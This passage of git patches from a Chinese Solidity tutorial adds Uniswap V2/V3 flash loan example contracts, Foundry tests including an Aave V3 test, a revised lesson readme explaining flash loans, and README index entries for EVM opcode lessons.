SPDX-License-Identifier: MIT +pragma solidity ^0.8.20; + +import "./Lib.sol"; + +// UniswapV2闪电贷回调接口 +interface IUniswapV2Callee { + function uniswapV2Call(address sender, uint amount0, uint amount1, bytes calldata data) external; +} + +// UniswapV2闪电贷合约 +contract UniswapV2Flashloan is IUniswapV2Callee { + address private constant UNISWAP_V2_FACTORY = + 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f; + + address private constant DAI = 0x6B175474E89094C44Da98b954EedeAC495271d0F; + address private constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; + + IUniswapV2Factory private constant factory = IUniswapV2Factory(UNISWAP_V2_FACTORY); + + IERC20 private constant weth = IERC20(WETH); + + IUniswapV2Pair private immutable pair; + + constructor() { + pair = IUniswapV2Pair(factory.getPair(DAI, WETH)); + } + + // 闪电贷函数 + function flashloan(uint wethAmount) external { + // calldata长度大于1才能触发闪电贷回调函数 + bytes memory data = abi.encode(WETH, wethAmount); + + // amount0Out是要借的DAI, amount1Out是要借的WETH + pair.swap(0, wethAmount, address(this), data); + } + + // 闪电贷回调函数,只能被 DAI/WETH pair 合约调用 + function uniswapV2Call( + address sender, + uint amount0, + uint amount1, + bytes calldata data + ) external { + // 确认调用的是 DAI/WETH pair 合约 + address token0 = IUniswapV2Pair(msg.sender).token0(); // 获取token0地址 + address token1 = IUniswapV2Pair(msg.sender).token1(); // 获取token1地址 + assert(msg.sender == factory.getPair(token0, token1)); // ensure that msg.sender is a V2 pair + + // 解码calldata + (address tokenBorrow, uint256 wethAmount) = abi.decode(data, (address, uint256)); + + // flashloan 逻辑,这里省略 + require(tokenBorrow == WETH, "token borrow != WETH"); + + // 计算flashloan费用 + // fee / (amount + fee) = 3/1000 + // 向上取整 + uint fee = (amount1 * 3) / 997 + 1; + uint amountToRepay = amount1 + fee; + + // 归还闪电贷 + weth.transfer(address(pair), amountToRepay); + } +} diff --git a/57_Flashloan/src/UniswapV3Flashloan.sol b/57_Flashloan/src/UniswapV3Flashloan.sol new file mode 100644 index 000000000..a12b50af0 --- /dev/null +++ b/57_Flashloan/src/UniswapV3Flashloan.sol @@ -0,0 +1,73 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.20; + +import "./Lib.sol"; + +// UniswapV3闪电贷回调接口 +// 需要实现并重写uniswapV3FlashCallback()函数 +interface IUniswapV3FlashCallback { + /// 在实现中,你必须偿还池中由 flash 发送的代币及计算出的费用金额。 + /// 调用此方法的合约必须经由官方 UniswapV3Factory 部署的 UniswapV3Pool 检查。 + /// @param fee0 闪电贷结束时,应支付给池的 token0 的费用金额 + /// @param fee1 闪电贷结束时,应支付给池的 token1 的费用金额 + /// @param data 通过 IUniswapV3PoolActions#flash 调用由调用者传递的任何数据 + function uniswapV3FlashCallback( + uint256 fee0, + uint256 fee1, + bytes calldata data + ) external; +} + +// UniswapV3闪电贷合约 +contract UniswapV3Flashloan is IUniswapV3FlashCallback { + address private constant UNISWAP_V3_FACTORY = 0x1F98431c8aD98523631AE4a59f267346ea31F984; + + address private constant DAI = 0x6B175474E89094C44Da98b954EedeAC495271d0F; + address private constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; + uint24 private constant poolFee = 3000; + + IERC20 private constant weth = IERC20(WETH); + IUniswapV3Pool private immutable pool; + + constructor() { + pool = IUniswapV3Pool(getPool(DAI, WETH, poolFee)); + } + + function getPool( + address _token0, + address _token1, + uint24 _fee + ) public pure returns (address) { + PoolAddress.PoolKey memory poolKey = PoolAddress.getPoolKey( + _token0, + _token1, + _fee + ); + return PoolAddress.computeAddress(UNISWAP_V3_FACTORY, poolKey); + } + + // 闪电贷函数 + function flashloan(uint wethAmount) external { + bytes memory data = abi.encode(WETH, wethAmount); + IUniswapV3Pool(pool).flash(address(this), 0, wethAmount, data); + } + + // 闪电贷回调函数,只能被 DAI/WETH pair 合约调用 + function uniswapV3FlashCallback( + uint fee0, + uint fee1, + bytes calldata data + ) external { + // 确认调用的是 DAI/WETH pair 合约 + require(msg.sender == address(pool), "not authorized"); + + // 解码calldata + (address tokenBorrow, uint256 wethAmount) = abi.decode(data, (address, uint256)); + + // flashloan 逻辑,这里省略 + require(tokenBorrow == WETH, "token borrow != WETH"); + + // 归还闪电贷 + weth.transfer(address(pool), wethAmount + fee1); + } +} \ No newline at end of file diff --git a/57_Flashloan/test/AaveV3Flashloan.t.sol b/57_Flashloan/test/AaveV3Flashloan.t.sol new file mode 100644 index 000000000..f5aea4c66 --- /dev/null +++ b/57_Flashloan/test/AaveV3Flashloan.t.sol @@ -0,0 +1,38 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.20; + +import "forge-std/Test.sol"; +import "../src/AaveV3Flashloan.sol"; + +address constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; + +contract UniswapV2FlashloanTest is Test { + IWETH private weth = IWETH(WETH); + + AaveV3Flashloan private flashloan; + + function setUp() public { + flashloan = new AaveV3Flashloan(); + } + + function testFlashloan() public { + // 换weth,并转入flashloan合约,用做手续费 + weth.deposit{value: 1e18}(); + weth.transfer(address(flashloan), 1e18); + // 闪电贷借贷金额 + uint amountToBorrow = 100 * 1e18; + flashloan.flashloan(amountToBorrow); + } + + // 手续费不足,会revert + function testFlashloanFail() public { + // 换weth,并转入flashloan合约,用做手续费 + weth.deposit{value: 1e18}(); + weth.transfer(address(flashloan), 4e16); + // 闪电贷借贷金额 + uint amountToBorrow = 100 * 1e18; + // 手续费不足 + vm.expectRevert(); + flashloan.flashloan(amountToBorrow); + } +} diff --git a/57_Flashloan/test/UniswapV2Flashloan.t.sol b/57_Flashloan/test/UniswapV2Flashloan.t.sol new file mode 100644 index 000000000..67a45981d --- /dev/null +++ b/57_Flashloan/test/UniswapV2Flashloan.t.sol @@ -0,0 +1,38 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.20; + +import "forge-std/Test.sol"; +import "../src/UniswapV2Flashloan.sol"; + +address constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; + +contract UniswapV2FlashloanTest is Test { + IWETH private weth = IWETH(WETH); + + UniswapV2Flashloan private flashloan; + + function setUp() public { + flashloan = new UniswapV2Flashloan(); + } + + function testFlashloan() public { + // 换weth,并转入flashloan合约,用做手续费 + weth.deposit{value: 1e18}(); + weth.transfer(address(flashloan), 1e18); + // 闪电贷借贷金额 + uint amountToBorrow = 100 * 1e18; + flashloan.flashloan(amountToBorrow); + } + + // 手续费不足,会revert + function testFlashloanFail() public { + // 换weth,并转入flashloan合约,用做手续费 + weth.deposit{value: 1e18}(); + weth.transfer(address(flashloan), 3e17); + // 闪电贷借贷金额 + uint amountToBorrow = 100 * 1e18; + // 手续费不足 + vm.expectRevert(); + flashloan.flashloan(amountToBorrow); + } +} diff --git a/57_Flashloan/test/UniswapV3Flashloan.t.sol b/57_Flashloan/test/UniswapV3Flashloan.t.sol new file mode 100644 index 000000000..20a98d476 --- /dev/null +++ b/57_Flashloan/test/UniswapV3Flashloan.t.sol @@ -0,0 +1,41 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.20; + +import {Test, console2} from "forge-std/Test.sol"; +import "../src/UniswapV3Flashloan.sol"; + +address constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; + +contract UniswapV2FlashloanTest is Test { + IWETH private weth = IWETH(WETH); + + UniswapV3Flashloan private flashloan; + + function setUp() public { + flashloan = new UniswapV3Flashloan(); + } + + function testFlashloan() public { + // 换weth,并转入flashloan合约,用做手续费 + weth.deposit{value: 1e18}(); + weth.transfer(address(flashloan), 1e18); + + uint balBefore = weth.balanceOf(address(flashloan)); + console2.logUint(balBefore); + // 闪电贷借贷金额 + uint amountToBorrow = 1 * 1e18; + flashloan.flashloan(amountToBorrow); + } + + // 手续费不足,会revert + function testFlashloanFail() public { + // 换weth,并转入flashloan合约,用做手续费 + weth.deposit{value: 1e18}(); + weth.transfer(address(flashloan), 1e17); + // 闪电贷借贷金额 + uint amountToBorrow = 100 * 1e18; + // 手续费不足 + vm.expectRevert(); + flashloan.flashloan(amountToBorrow); + } +} diff --git a/README.md b/README.md index 88e2a6e52..7b86b44af 100644 --- a/README.md +++ b/README.md @@ -142,6 +142,8 @@ **第56讲:去中心化交易所**:[代码](https://github.com/AmazingAng/WTFSolidity/blob/main/56_Swap) | [文章](https://github.com/AmazingAng/WTFSolidity/blob/main/56_Swap/readme.md) +**第57讲:闪电贷**:[代码](https://github.com/AmazingAng/WTFSolidity/blob/main/57_Flashloan) | [文章](https://github.com/AmazingAng/WTFSolidity/blob/main/57_Flashloan/readme.md) + ## 合约安全 **S01:重入攻击**:[代码](https://github.com/AmazingAng/WTFSolidity/blob/main/S01_ReentrancyAttack) | [文章](https://github.com/AmazingAng/WTFSolidity/blob/main/S01_ReentrancyAttack/readme.md) | [Mirror](https://mirror.xyz/wtfacademy.eth/SrNu6LLzwH7qlTVKbJY6lkTpmadGqUXw0L8iUMzfMxo) From 727822ce62a41dfaed5a9ed9909dfcfd37599650 Mon Sep 17 00:00:00 2001 From: "Li, Amazing Ang" Date: Mon, 18 Sep 2023 18:10:59 +0800 Subject: [PATCH 34/46] fix typo --- 56_Swap/readme.md | 2 +- 57_Flashloan/readme.md | 16 ++++++++++------ 2 files changed, 11 insertions(+), 7 deletions(-) diff --git a/56_Swap/readme.md b/56_Swap/readme.md index c5196de5f..d9092fd95 100644 --- a/56_Swap/readme.md +++ b/56_Swap/readme.md @@ -1,5 +1,5 @@ --- -title: 56. Swap +title: 56. 去中心化交易所 tags: - solidity - erc20 diff --git a/57_Flashloan/readme.md b/57_Flashloan/readme.md index dc3fd330f..858463767 100644 --- a/57_Flashloan/readme.md +++ b/57_Flashloan/readme.md @@ -1,5 +1,5 @@ --- -title: 57. flashloan +title: 57. 闪电贷 tags: - solidity - flashloan @@ -20,15 +20,17 @@ tags: ----- -“闪电贷攻击”这个词大家一定听说过,但是什么是闪电贷?如何编写闪电贷合约?这一讲,我们将介绍区块链中的闪电贷,实现基于Uniswap V2,Uniswap V3,和AAVE V3的闪电贷合约,并使用Foundry测试。 +“闪电贷攻击”这个词大家一定听说过,但是什么是闪电贷?如何编写闪电贷合约?这一讲,我们将介绍区块链中的闪电贷,实现基于Uniswap V2,Uniswap V3,和AAVE V3的闪电贷合约,并使用Foundry进行测试。 ## 闪电贷 -你第一次听说"闪电贷"一定是在Web3,因为Web2没有这个东西。闪电贷(Flashloan)是DeFi的一种创新,它允许用户在一个交易中借入并迅速归还资金,而无需提供任何抵押。 +你第一次听说"闪电贷"一定是在Web3,因为Web2没有这个东西。闪电贷(Flashloan)是DeFi的一种创新,它允许用户在一个交易中借出并迅速归还资金,而无需提供任何抵押。 -假如你在市场中发现了一个套利机会,但是需要提前准备100万u的资金。在Web2,你要先银行申请贷款,等待审批,效率非常慢,很可能错过套利的机会。另外,如果套利失败赔钱了,你不光要支付利息,还需要归还损失的本金。 +想象一下,你突然在市场中发现了一个套利机会,但是需要准备100万u的资金才能完成套利。在Web2,你去银行申请贷款,需要审批,很可能错过套利的机会。另外,如果套利失败,你不光要支付利息,还需要归还损失的本金。 -而在Web3,你可以在DeFI平台(Uniswap,AAVE,Dodo)在同一笔交易中进行闪电贷,在无担保的情况下借100万u的代币,执行链上套利,最后再归还贷款和利息。它利用了以太坊交易的原子性,在闪电贷函数的结尾确认资金是否被归还,如果没有归还成功,则交易回滚。这就意味着,如果还贷失败,那么借款就不会记录在区块链上。因此,DeFi平台不需要担心借款人还不上款,因为还不上的话就借不成功;同时,借款人也不用担心套利不成功,因为套利不成功的话就还不上款,也就等于借钱没成功。 +而在Web3,你可以在DeFI平台(Uniswap,AAVE,Dodo)中进行闪电贷获取资金,就可以在无担保的情况下借100万u的代币,执行链上套利,最后再归还贷款和利息。 + +闪电贷利用了以太坊交易的原子性:一个交易(包括其中的所有操作)要么完全执行,要么完全不执行。如果一个用户尝试使用闪电贷并在同一个交易中没有归还资金,那么整个交易都会失败并被回滚,就像它从未发生过一样。因此,DeFi平台不需要担心借款人还不上款,因为还不上的话就意味着钱没借出去;同时,借款人也不用担心套利不成功,因为套利不成功的话就还不上款,也就意味着借钱没成功。 ![](./img/57-1.png) @@ -489,4 +491,6 @@ forge test --fork-url $FORK_URL --match-path test/AaveV3Flashloan.t.sol -vv ## 总结 -这一讲,我们介绍了闪电贷,并分别实现了Uniswap V2,Uniswap V3,和AAVE的闪电贷合约。通过闪电贷,我们能够无抵押借出资金,进行无风险套利或漏洞攻击。你准备用闪电贷做些什么呢? \ No newline at end of file +这一讲,我们介绍了闪电贷,它允许用户在一个交易中借出并迅速归还资金,而无需提供任何抵押。并且,我们分别实现了Uniswap V2,Uniswap V3,和AAVE的闪电贷合约。 + +通过闪电贷,我们能够无抵押的撬动海量资金进行无风险套利或漏洞攻击。你准备用闪电贷做些什么呢? \ No newline at end of file From 4af8b9d67f60978a555503f17f5d6b9b4c43f493 Mon Sep 17 00:00:00 2001 From: "Li, Amazing Ang" Date: Tue, 19 Sep 2023 16:39:47 +0800 Subject: [PATCH 35/46] update wtf evm opcodes --- README.md | 53 +++++++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 53 insertions(+) diff --git a/README.md b/README.md index 7b86b44af..26c6c0160 100644 --- a/README.md +++ b/README.md @@ -178,6 +178,59 @@ **S16:NFT重入攻击**:[代码](https://github.com/AmazingAng/WTFSolidity/blob/main/S16_NFTReentrancy) | [文章](https://github.com/AmazingAng/WTFSolidity/blob/main/S16_NFTReentrancy/readme.md) +## EVM 操作码 + +**Opcodes01:Hello Opcodes**:[代码](https://github.com/WTFAcademy/WTF-Opcodes/blob/main/01_HelloOpcodes) | [文章](https://github.com/WTFAcademy/WTF-Opcodes/blob/main/01_HelloOpcodes/readme.md) + +**Opcodes02:Opcodes分类**:[代码](https://github.com/WTFAcademy/WTF-Opcodes/blob/main/02_Categories) | [文章](https://github.com/WTFAcademy/WTF-Opcodes/blob/main/02_Categories/readme.md) + +**Opcodes03:堆栈指令**:[代码](https://github.com/WTFAcademy/WTF-Opcodes/blob/main/03_StackOp) | [文章](https://github.com/WTFAcademy/WTF-Opcodes/blob/main/03_StackOp/readme.md) + +**Opcodes04:算数指令**:[代码](https://github.com/WTFAcademy/WTF-Opcodes/blob/main/04_ArithmeticOp) | [文章](https://github.com/WTFAcademy/WTF-Opcodes/blob/main/04_ArithmeticOp/readme.md) + +**Opcodes05:比较指令**:[代码](https://github.com/WTFAcademy/WTF-Opcodes/blob/main/05_ComparisonOp) | [文章](https://github.com/WTFAcademy/WTF-Opcodes/blob/main/05_ComparisonOp/readme.md) + +**Opcodes06:位级指令**:[代码](https://github.com/WTFAcademy/WTF-Opcodes/blob/main/06_BitwiseOp) | [文章](https://github.com/WTFAcademy/WTF-Opcodes/blob/main/06_BitwiseOp/readme.md) + +**Opcodes07:内存指令**:[代码](https://github.com/WTFAcademy/WTF-Opcodes/blob/main/07_MemoryOp) | [文章](https://github.com/WTFAcademy/WTF-Opcodes/blob/main/07_MemoryOp/readme.md) + +**Opcodes08:存储指令**:[代码](https://github.com/WTFAcademy/WTF-Opcodes/blob/main/08_StorageOp) | [文章](https://github.com/WTFAcademy/WTF-Opcodes/blob/main/08_StorageOp/readme.md) + +**Opcodes09:控制流指令**:[代码](https://github.com/WTFAcademy/WTF-Opcodes/blob/main/09_FlowOp) | [文章](https://github.com/WTFAcademy/WTF-Opcodes/blob/main/09_FlowOp/readme.md) + +**Opcodes10:区块信息指令**:[代码](https://github.com/WTFAcademy/WTF-Opcodes/blob/main/10_BlockOp) | [文章](https://github.com/WTFAcademy/WTF-Opcodes/blob/main/10_BlockOp/readme.md) + +**Opcodes11:堆栈指令2**:[代码](https://github.com/WTFAcademy/WTF-Opcodes/blob/main/11_StackOp2) | [文章](https://github.com/WTFAcademy/WTF-Opcodes/blob/main/11_StackOp2/readme.md) + +**Opcodes12:SHA3指令**:[代码](https://github.com/WTFAcademy/WTF-Opcodes/blob/main/12_SHA3) | [文章](https://github.com/WTFAcademy/WTF-Opcodes/blob/main/12_SHA3/readme.md) + +**Opcodes13:账户指令**:[代码](https://github.com/WTFAcademy/WTF-Opcodes/blob/main/13_AccountOp) | [文章](https://github.com/WTFAcademy/WTF-Opcodes/blob/main/13_AccountOp/readme.md) + +**Opcodes14:交易指令**:[代码](https://github.com/WTFAcademy/WTF-Opcodes/blob/main/14_TxOp) | [文章](https://github.com/WTFAcademy/WTF-Opcodes/blob/main/14_TxOp/readme.md) + +**Opcodes15:Log指令**:[代码](https://github.com/WTFAcademy/WTF-Opcodes/blob/main/15_LogOp) | [文章](https://github.com/WTFAcademy/WTF-Opcodes/blob/main/15_LogOp/readme.md) + +**Opcodes16:Return指令**:[代码](https://github.com/WTFAcademy/WTF-Opcodes/blob/main/16_ReturnOp) | [文章](https://github.com/WTFAcademy/WTF-Opcodes/blob/main/16_ReturnOp/readme.md) + +**Opcodes17:Revert指令**:[代码](https://github.com/WTFAcademy/WTF-Opcodes/blob/main/17_RevertOp) | [文章](https://github.com/WTFAcademy/WTF-Opcodes/blob/main/17_RevertOp/readme.md) + +**Opcodes18:Call指令**:[代码](https://github.com/WTFAcademy/WTF-Opcodes/blob/main/18_CallOp) | [文章](https://github.com/WTFAcademy/WTF-Opcodes/blob/main/18_CallOp/readme.md) + +**Opcodes19:Delegatecall指令**:[代码](https://github.com/WTFAcademy/WTF-Opcodes/blob/main/19_DelegatecallOp) | [文章](https://github.com/WTFAcademy/WTF-Opcodes/blob/main/19_DelegatecallOp/readme.md) + +**Opcodes20:Staticcall指令**:[代码](https://github.com/WTFAcademy/WTF-Opcodes/blob/main/20_StaticcallOp) | [文章](https://github.com/WTFAcademy/WTF-Opcodes/blob/main/20_StaticcallOp/readme.md) + +**Opcodes21:Create指令**:[代码](https://github.com/WTFAcademy/WTF-Opcodes/blob/main/21_Create) | [文章](https://github.com/WTFAcademy/WTF-Opcodes/blob/main/21_Create/readme.md) + +**Opcodes22:Create2指令**:[代码](https://github.com/WTFAcademy/WTF-Opcodes/blob/main/22_Create2) | [文章](https://github.com/WTFAcademy/WTF-Opcodes/blob/main/22_Create2/readme.md) + +**Opcodes23:Selfdestruct指令**:[代码](https://github.com/WTFAcademy/WTF-Opcodes/blob/main/23_SelfdestructOp) | [文章](https://github.com/WTFAcademy/WTF-Opcodes/blob/main/23_SelfdestructOp/readme.md) + +**Opcodes24:Gas指令**:[代码](https://github.com/WTFAcademy/WTF-Opcodes/blob/main/24_GasOp) | [文章](https://github.com/WTFAcademy/WTF-Opcodes/blob/main/24_GasOp/readme.md) + +**Opcodes25:优化最小代理合约 EIP-7511**:[代码](https://github.com/WTFAcademy/WTF-Opcodes/blob/main/25_MinimalProxy) | [文章](https://github.com/WTFAcademy/WTF-Opcodes/blob/main/25_MinimalProxy/readme.md) + + ## 主题

From 815d6fb1d2eade794cb2ed2eab82332df99036f1 Mon Sep 17 00:00:00 2001 From: "Li, Amazing Ang" Date: Tue, 19 Sep 2023 16:40:57 +0800 Subject: [PATCH 36/46] Update README.md --- README.md | 50 +++++++++++++++++++++++++------------------------- 1 file changed, 25 insertions(+), 25 deletions(-) diff --git a/README.md b/README.md index 26c6c0160..49c53870e 100644 --- a/README.md +++ b/README.md @@ -180,55 +180,55 @@ ## EVM 操作码 -**Opcodes01:Hello Opcodes**:[代码](https://github.com/WTFAcademy/WTF-Opcodes/blob/main/01_HelloOpcodes) | [文章](https://github.com/WTFAcademy/WTF-Opcodes/blob/main/01_HelloOpcodes/readme.md) +**OP01:Hello Opcodes**:[代码](https://github.com/WTFAcademy/WTF-Opcodes/blob/main/01_HelloOpcodes) | [文章](https://github.com/WTFAcademy/WTF-Opcodes/blob/main/01_HelloOpcodes/readme.md) -**Opcodes02:Opcodes分类**:[代码](https://github.com/WTFAcademy/WTF-Opcodes/blob/main/02_Categories) | [文章](https://github.com/WTFAcademy/WTF-Opcodes/blob/main/02_Categories/readme.md) +**OP02:Opcodes分类**:[代码](https://github.com/WTFAcademy/WTF-Opcodes/blob/main/02_Categories) | [文章](https://github.com/WTFAcademy/WTF-Opcodes/blob/main/02_Categories/readme.md) -**Opcodes03:堆栈指令**:[代码](https://github.com/WTFAcademy/WTF-Opcodes/blob/main/03_StackOp) | [文章](https://github.com/WTFAcademy/WTF-Opcodes/blob/main/03_StackOp/readme.md) +**OP03:堆栈指令**:[代码](https://github.com/WTFAcademy/WTF-Opcodes/blob/main/03_StackOp) | [文章](https://github.com/WTFAcademy/WTF-Opcodes/blob/main/03_StackOp/readme.md) -**Opcodes04:算数指令**:[代码](https://github.com/WTFAcademy/WTF-Opcodes/blob/main/04_ArithmeticOp) | [文章](https://github.com/WTFAcademy/WTF-Opcodes/blob/main/04_ArithmeticOp/readme.md) +**OP04:算数指令**:[代码](https://github.com/WTFAcademy/WTF-Opcodes/blob/main/04_ArithmeticOp) | [文章](https://github.com/WTFAcademy/WTF-Opcodes/blob/main/04_ArithmeticOp/readme.md) -**Opcodes05:比较指令**:[代码](https://github.com/WTFAcademy/WTF-Opcodes/blob/main/05_ComparisonOp) | [文章](https://github.com/WTFAcademy/WTF-Opcodes/blob/main/05_ComparisonOp/readme.md) +**OP05:比较指令**:[代码](https://github.com/WTFAcademy/WTF-Opcodes/blob/main/05_ComparisonOp) | [文章](https://github.com/WTFAcademy/WTF-Opcodes/blob/main/05_ComparisonOp/readme.md) -**Opcodes06:位级指令**:[代码](https://github.com/WTFAcademy/WTF-Opcodes/blob/main/06_BitwiseOp) | [文章](https://github.com/WTFAcademy/WTF-Opcodes/blob/main/06_BitwiseOp/readme.md) +**OP06:位级指令**:[代码](https://github.com/WTFAcademy/WTF-Opcodes/blob/main/06_BitwiseOp) | [文章](https://github.com/WTFAcademy/WTF-Opcodes/blob/main/06_BitwiseOp/readme.md) -**Opcodes07:内存指令**:[代码](https://github.com/WTFAcademy/WTF-Opcodes/blob/main/07_MemoryOp) | [文章](https://github.com/WTFAcademy/WTF-Opcodes/blob/main/07_MemoryOp/readme.md) +**OP07:内存指令**:[代码](https://github.com/WTFAcademy/WTF-Opcodes/blob/main/07_MemoryOp) | [文章](https://github.com/WTFAcademy/WTF-Opcodes/blob/main/07_MemoryOp/readme.md) -**Opcodes08:存储指令**:[代码](https://github.com/WTFAcademy/WTF-Opcodes/blob/main/08_StorageOp) | [文章](https://github.com/WTFAcademy/WTF-Opcodes/blob/main/08_StorageOp/readme.md) +**OP08:存储指令**:[代码](https://github.com/WTFAcademy/WTF-Opcodes/blob/main/08_StorageOp) | [文章](https://github.com/WTFAcademy/WTF-Opcodes/blob/main/08_StorageOp/readme.md) -**Opcodes09:控制流指令**:[代码](https://github.com/WTFAcademy/WTF-Opcodes/blob/main/09_FlowOp) | [文章](https://github.com/WTFAcademy/WTF-Opcodes/blob/main/09_FlowOp/readme.md) +**OP09:控制流指令**:[代码](https://github.com/WTFAcademy/WTF-Opcodes/blob/main/09_FlowOp) | [文章](https://github.com/WTFAcademy/WTF-Opcodes/blob/main/09_FlowOp/readme.md) -**Opcodes10:区块信息指令**:[代码](https://github.com/WTFAcademy/WTF-Opcodes/blob/main/10_BlockOp) | [文章](https://github.com/WTFAcademy/WTF-Opcodes/blob/main/10_BlockOp/readme.md) +**OP10:区块信息指令**:[代码](https://github.com/WTFAcademy/WTF-Opcodes/blob/main/10_BlockOp) | [文章](https://github.com/WTFAcademy/WTF-Opcodes/blob/main/10_BlockOp/readme.md) -**Opcodes11:堆栈指令2**:[代码](https://github.com/WTFAcademy/WTF-Opcodes/blob/main/11_StackOp2) | [文章](https://github.com/WTFAcademy/WTF-Opcodes/blob/main/11_StackOp2/readme.md) +**OP11:堆栈指令2**:[代码](https://github.com/WTFAcademy/WTF-Opcodes/blob/main/11_StackOp2) | [文章](https://github.com/WTFAcademy/WTF-Opcodes/blob/main/11_StackOp2/readme.md) -**Opcodes12:SHA3指令**:[代码](https://github.com/WTFAcademy/WTF-Opcodes/blob/main/12_SHA3) | [文章](https://github.com/WTFAcademy/WTF-Opcodes/blob/main/12_SHA3/readme.md) +**OP12:SHA3指令**:[代码](https://github.com/WTFAcademy/WTF-Opcodes/blob/main/12_SHA3) | [文章](https://github.com/WTFAcademy/WTF-Opcodes/blob/main/12_SHA3/readme.md) -**Opcodes13:账户指令**:[代码](https://github.com/WTFAcademy/WTF-Opcodes/blob/main/13_AccountOp) | [文章](https://github.com/WTFAcademy/WTF-Opcodes/blob/main/13_AccountOp/readme.md) +**OP13:账户指令**:[代码](https://github.com/WTFAcademy/WTF-Opcodes/blob/main/13_AccountOp) | [文章](https://github.com/WTFAcademy/WTF-Opcodes/blob/main/13_AccountOp/readme.md) -**Opcodes14:交易指令**:[代码](https://github.com/WTFAcademy/WTF-Opcodes/blob/main/14_TxOp) | [文章](https://github.com/WTFAcademy/WTF-Opcodes/blob/main/14_TxOp/readme.md) +**OP14:交易指令**:[代码](https://github.com/WTFAcademy/WTF-Opcodes/blob/main/14_TxOp) | [文章](https://github.com/WTFAcademy/WTF-Opcodes/blob/main/14_TxOp/readme.md) -**Opcodes15:Log指令**:[代码](https://github.com/WTFAcademy/WTF-Opcodes/blob/main/15_LogOp) | [文章](https://github.com/WTFAcademy/WTF-Opcodes/blob/main/15_LogOp/readme.md) +**OP15:Log指令**:[代码](https://github.com/WTFAcademy/WTF-Opcodes/blob/main/15_LogOp) | [文章](https://github.com/WTFAcademy/WTF-Opcodes/blob/main/15_LogOp/readme.md) -**Opcodes16:Return指令**:[代码](https://github.com/WTFAcademy/WTF-Opcodes/blob/main/16_ReturnOp) | [文章](https://github.com/WTFAcademy/WTF-Opcodes/blob/main/16_ReturnOp/readme.md) +**OP16:Return指令**:[代码](https://github.com/WTFAcademy/WTF-Opcodes/blob/main/16_ReturnOp) | [文章](https://github.com/WTFAcademy/WTF-Opcodes/blob/main/16_ReturnOp/readme.md) -**Opcodes17:Revert指令**:[代码](https://github.com/WTFAcademy/WTF-Opcodes/blob/main/17_RevertOp) | [文章](https://github.com/WTFAcademy/WTF-Opcodes/blob/main/17_RevertOp/readme.md) +**OP17:Revert指令**:[代码](https://github.com/WTFAcademy/WTF-Opcodes/blob/main/17_RevertOp) | [文章](https://github.com/WTFAcademy/WTF-Opcodes/blob/main/17_RevertOp/readme.md) -**Opcodes18:Call指令**:[代码](https://github.com/WTFAcademy/WTF-Opcodes/blob/main/18_CallOp) | [文章](https://github.com/WTFAcademy/WTF-Opcodes/blob/main/18_CallOp/readme.md) +**OP18:Call指令**:[代码](https://github.com/WTFAcademy/WTF-Opcodes/blob/main/18_CallOp) | [文章](https://github.com/WTFAcademy/WTF-Opcodes/blob/main/18_CallOp/readme.md) -**Opcodes19:Delegatecall指令**:[代码](https://github.com/WTFAcademy/WTF-Opcodes/blob/main/19_DelegatecallOp) | [文章](https://github.com/WTFAcademy/WTF-Opcodes/blob/main/19_DelegatecallOp/readme.md) +**OP19:Delegatecall指令**:[代码](https://github.com/WTFAcademy/WTF-Opcodes/blob/main/19_DelegatecallOp) | [文章](https://github.com/WTFAcademy/WTF-Opcodes/blob/main/19_DelegatecallOp/readme.md) -**Opcodes20:Staticcall指令**:[代码](https://github.com/WTFAcademy/WTF-Opcodes/blob/main/20_StaticcallOp) | [文章](https://github.com/WTFAcademy/WTF-Opcodes/blob/main/20_StaticcallOp/readme.md) +**OP20:Staticcall指令**:[代码](https://github.com/WTFAcademy/WTF-Opcodes/blob/main/20_StaticcallOp) | [文章](https://github.com/WTFAcademy/WTF-Opcodes/blob/main/20_StaticcallOp/readme.md) -**Opcodes21:Create指令**:[代码](https://github.com/WTFAcademy/WTF-Opcodes/blob/main/21_Create) | [文章](https://github.com/WTFAcademy/WTF-Opcodes/blob/main/21_Create/readme.md) +**OP21:Create指令**:[代码](https://github.com/WTFAcademy/WTF-Opcodes/blob/main/21_Create) | [文章](https://github.com/WTFAcademy/WTF-Opcodes/blob/main/21_Create/readme.md) -**Opcodes22:Create2指令**:[代码](https://github.com/WTFAcademy/WTF-Opcodes/blob/main/22_Create2) | [文章](https://github.com/WTFAcademy/WTF-Opcodes/blob/main/22_Create2/readme.md) +**OP22:Create2指令**:[代码](https://github.com/WTFAcademy/WTF-Opcodes/blob/main/22_Create2) | [文章](https://github.com/WTFAcademy/WTF-Opcodes/blob/main/22_Create2/readme.md) -**Opcodes23:Selfdestruct指令**:[代码](https://github.com/WTFAcademy/WTF-Opcodes/blob/main/23_SelfdestructOp) | [文章](https://github.com/WTFAcademy/WTF-Opcodes/blob/main/23_SelfdestructOp/readme.md) +**OP23:Selfdestruct指令**:[代码](https://github.com/WTFAcademy/WTF-Opcodes/blob/main/23_SelfdestructOp) | [文章](https://github.com/WTFAcademy/WTF-Opcodes/blob/main/23_SelfdestructOp/readme.md) -**Opcodes24:Gas指令**:[代码](https://github.com/WTFAcademy/WTF-Opcodes/blob/main/24_GasOp) | [文章](https://github.com/WTFAcademy/WTF-Opcodes/blob/main/24_GasOp/readme.md) +**OP24:Gas指令**:[代码](https://github.com/WTFAcademy/WTF-Opcodes/blob/main/24_GasOp) | [文章](https://github.com/WTFAcademy/WTF-Opcodes/blob/main/24_GasOp/readme.md) -**Opcodes25:优化最小代理合约 EIP-7511**:[代码](https://github.com/WTFAcademy/WTF-Opcodes/blob/main/25_MinimalProxy) | [文章](https://github.com/WTFAcademy/WTF-Opcodes/blob/main/25_MinimalProxy/readme.md) +**OP25:优化最小代理合约 EIP-7511**:[代码](https://github.com/WTFAcademy/WTF-Opcodes/blob/main/25_MinimalProxy) | [文章](https://github.com/WTFAcademy/WTF-Opcodes/blob/main/25_MinimalProxy/readme.md) ## 主题 From 